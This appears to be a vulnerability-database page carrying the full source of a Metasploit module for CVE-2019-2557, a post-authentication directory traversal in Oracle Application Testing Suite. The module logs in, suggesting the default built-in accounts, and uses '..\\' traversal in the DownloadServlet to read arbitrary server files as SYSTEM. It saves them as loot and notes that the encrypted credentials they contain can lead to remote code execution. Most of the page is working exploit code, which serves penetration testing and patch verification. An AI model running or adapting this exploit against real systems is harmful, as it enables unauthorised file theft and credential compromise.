| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Oracle Application Testing Suite DownloadServlet Directory Traversal Remote Code Execution | 23 Apr 201900:00 | – | attackerkb | |
| CVE-2019-2557 | 24 May 201912:00 | – | circl | |
| Oracle Application Testing Suite DownloadServlet Directory Traversal (CVE-2019-2557) | 27 May 201900:00 | – | checkpoint_advisories | |
| CVE-2019-2557 | 23 Apr 201918:16 | – | cve | |
| CVE-2019-2557 | 23 Apr 201918:16 | – | cvelist | |
| Oracle Application Testing Suite Post-Auth DownloadServlet Directory Traversal | 7 May 201919:56 | – | metasploit | |
| CVE-2019-2557 | 23 Apr 201919:32 | – | nvd | |
| Oracle Critical Patch Update Advisory - April 2019 | 16 Apr 201900:00 | – | oracle | |
| Oracle Application Testing Suite Post-Auth DownloadServlet Directory Traversal | 31 Aug 202400:00 | – | packetstorm | |
| Design/Logic Flaw | 23 Apr 201919:32 | – | prion |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rkelly'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle Application Testing Suite Post-Auth DownloadServlet Directory Traversal',
'Description' => %q{
This module exploits a vulnerability in Oracle Application Testing Suite (OATS). In the Load
Testing interface, a remote user can abuse the custom report template selector, and cause the
DownloadServlet class to read any file on the server as SYSTEM. Since the Oracle application
contains multiple configuration files that include encrypted credentials, and that there are
public resources for decryption, it is actually possible to gain remote code execution
by leveraging this directory traversal attack.
Please note that authentication is required. By default, OATS has two built-in accounts:
default and administrator. You could try to target those first.
},
'License' => MSF_LICENSE,
'Author' => [
'Steven Seeley', # Original discovery
'sinn3r' # Metasploit module
],
'DefaultOptions' => {
'RPORT' => 8088
},
'References' => [
['CVE', '2019-2557'],
['URL', 'https://srcincite.io/advisories/src-2019-0033/'],
['URL', 'https://www.oracle.com/security-alerts/cpuapr2019.html']
],
'DisclosureDate' => '2019-04-16',
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('FILE', [true, 'The name of the file to download', 'oats-config.xml']),
OptInt.new('DEPTH', [true, 'The max traversal depth', 1]),
OptString.new('OATSUSERNAME', [true, 'The username to use for Oracle', 'default']),
OptString.new('OATSPASSWORD', [true, 'The password to use for Oracle']),
]
)
end
class OracleAuthSpec
attr_accessor :loop_value
attr_accessor :afr_window_id
attr_accessor :adf_window_id
attr_accessor :adf_ads_page_id
attr_accessor :adf_page_id
attr_accessor :form_value
attr_accessor :session_id
attr_accessor :view_direct
attr_accessor :view_state
end
# OATS ships LoadTest500VU_Build1 and LoadTest500VU_Build2 by default,
# and there is no way to remove it from the user interface, so this should be
# safe to say that there will always there.
DEFAULT_SESSION = 'LoadTest500VU_Build1'
def auth_spec
@auth_spec ||= OracleAuthSpec.new
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'olt/')
})
if res && res.body.include?('AdfLoopbackUtils.runLoopback')
Exploit::CheckCode::Detected('Oracle ADF Faces endpoint detected')
else
Exploit::CheckCode::Safe('Target does not appear to be Oracle ADF Faces')
end
end
def load_runloopback_args(res)
html = res.get_html_document
rk = RKelly::Parser.new
script = html.at('script').text
ast = rk.parse(script)
runloopback = ast.grep(RKelly::Nodes::ExpressionStatementNode).last
runloopback_args = runloopback.value.arguments.value
auth_spec.loop_value = runloopback_args[2].value.scan(/'(.+)'/).flatten.first
auth_spec.afr_window_id = runloopback_args[7].value.scan(/'(.+)'/).flatten.first
json_args = runloopback_args[17]
auth_spec.adf_window_id = json_args.value[4].value.value.to_s
auth_spec.adf_page_id = json_args.value[5].value.value.to_s
end
def load_view_redirect_value(res)
html = res.get_html_document
rk = RKelly::Parser.new
script = html.at('script').text
ast = rk.parse(script)
runredirect = ast.grep(RKelly::Nodes::ExpressionStatementNode).last
runredirect_args = runredirect.value.arguments.value
redirect_arg = runredirect_args[1].value.scan(/'(.+)'/).flatten.first || ''
auth_spec.view_direct = redirect_arg.scan(/ORA_ADF_VIEW_REDIRECT=(\d+);/).flatten.first
auth_spec.adf_page_id = redirect_arg.scan(/ORA_ADF_VIEW_PAGE_ID=(s\d+);/).flatten.first
end
def collect_initial_spec
uri = normalize_uri(target_uri.path, 'olt', 'faces', 'login')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
})
fail_with(Failure::Unknown, 'No response from server') unless res
cookies = res.get_cookies
session_id = cookies.scan(/JSESSIONID=(.+);/i).flatten.first || ''
auth_spec.session_id = session_id
load_runloopback_args(res)
end
def prepare_auth_spec
collect_initial_spec
uri = normalize_uri(target_uri.path, 'olt', 'faces', 'login')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'cookie' => "JSESSIONID=#{auth_spec.session_id}",
'vars_get' =>
{
'_afrLoop' => auth_spec.loop_value,
'_afrWindowMode' => '0',
'Adf-Window-Id' => auth_spec.adf_window_id
},
'headers' =>
{
'Upgrade-Insecure-Requests' => '1'
}
})
fail_with(Failure::Unknown, 'No response from server') unless res
hidden_inputs = res.get_hidden_inputs.first
auth_spec.form_value = hidden_inputs['org.apache.myfaces.trinidad.faces.FORM']
auth_spec.view_state = hidden_inputs['javax.faces.ViewState']
end
def ota_login!
prepare_auth_spec
uri = normalize_uri(target_uri.path, 'olt', 'faces', 'login')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => "JSESSIONID=#{auth_spec.session_id}",
'headers' =>
{
'Upgrade-Insecure-Requests' => '1'
},
'vars_post' =>
{
'userName' => datastore['OATSUSERNAME'],
'password' => datastore['OATSPASSWORD'],
'org.apache.myfaces.trinidad.faces.FORM' => auth_spec.form_value,
'Adf-Window-Id' => auth_spec.adf_window_id,
'javax.faces.ViewState' => auth_spec.view_state,
'Adf-Page-Id' => auth_spec.adf_page_id,
'event' => 'btnSubmit',
'event.btnSubmit' => 'action'
}
})
fail_with(Failure::Unknown, 'No response from server') unless res
if res.body.include?('Login failed')
fail_with(Failure::NoAccess, 'Login failed')
else
store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD'])
load_view_redirect_value(res)
end
end
def load_file
uri = normalize_uri(target_uri.path, 'olt', 'download')
dots = '..\\' * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'cookie' => "JSESSIONID=#{auth_spec.session_id}",
'vars_get' =>
{
'type' => 'template',
'session' => DEFAULT_SESSION,
'name' => "#{dots}#{datastore['FILE']}"
},
'headers' =>
{
'Upgrade-Insecure-Requests' => '1'
}
})
fail_with(Failure::Unknown, 'No response from server') unless res
fail_with(Failure::Unknown, 'File not found') if res.body.include?('No content to display')
res.body
end
def run
ota_login!
file = load_file
print_line(file)
store_loot('oats.file', 'application/octet-stream', rhost, file)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation